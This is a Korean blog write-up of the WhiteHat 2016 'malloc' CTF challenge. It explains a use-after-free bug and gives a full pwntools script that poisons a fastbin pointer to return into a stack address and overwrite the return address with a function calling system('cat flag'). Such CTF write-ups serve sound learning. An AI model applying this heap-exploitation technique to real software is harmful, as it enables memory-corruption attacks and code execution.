본문 바로가기
CTF_Writeup

화이트햇 2016 malloc

by morae23 2019. 2. 10.

우선 malloc을 실행해보면, 아래와 같은 메뉴를 볼 수 있다.



이 때 free한 뒤에도 modify가 가능하다.


그 이유는 malloc시 chunk_list에 넣고, modify 시에도 chunk_list에서 수정할 주소를 얻어오는데

free할 때 chunk_list에서 삭제하지 않기 때문이다.




따라서 이번 문제는 malloc한 뒤 free하여 fastbin에 들어가게 한 뒤, fd에 스택 값을 넣고 ret를 덮으면 풀 수 있다.

더 자세히 쓰면 아래와 같다.


malloc 32, 'a'*31

malloc 32, 'b'*31


free 1

free 2


modify 2, stack_addr


malloc 32, 'c'*31

malloc 49, 'd'*24 + RET


malloc 하는 size는 32로 같게 하였다.

먼저 fd 값을 덮어 쓸 스택 주소를 정해야 한다. 주의할 점은 size 값과 동일한 값이 들어있어야 한다.

이 것은 malloc하는 함수를 보면 해결할 수 있다. 



size를 입력받아 저장하기 때문에 size변수보다 8 작은 주소를 주면 된다.

(출력된 stack 주소 - size변수와의 offset(0x50) - 8)


RET까지 떨어진 크기를 계산해 'd'를 24만큼 채웠다. 이제 RET를 덮을 값만 결정하면 된다.




그런데 바이너리를 보면 system('cat flag')를 호출하는 함수가 존재한다.

따라서 이 함수의 주소를 넣어줄 것이다.



exploit.py


from pwn import *


def malloc(size, data):

# select menu\n >

print p.recvuntil('>')

p.sendline('1')


# Enter size :

print p.recvuntil(':')

p.sendline(size)


# Enter data :

print p.recvuntil(':')

p.sendline(data)



def free(chunk_num):

# select menu\n >

print p.recvuntil('>')

p.sendline('2')


# Which one do you want to free :

print p.recvuntil(':')

p.sendline(chunk_num)



def modify(chunk_num, data):

# select menu\n >

print p.recvuntil('>')

p.sendline('4')


# Which chunk do you want to modify :

print p.recvuntil(':')

p.sendline(chunk_num)


# Enter data :

print p.recvuntil(':')

p.sendline(data)



p = process('./malloc')


# get stack base

stack_base = p.recvline().split('Stack Address : ')[1].strip()

cat_flag = p64(0x400986)


malloc('32', 'a'*31)

malloc('32', 'b'*31)


free('1')

free('2')


modify('2', p64(int(stack_base, 16) - 0x58))


malloc('32', 'c'*31)

malloc('49', 'd'*24 + cat_flag)


p.interactive()



댓글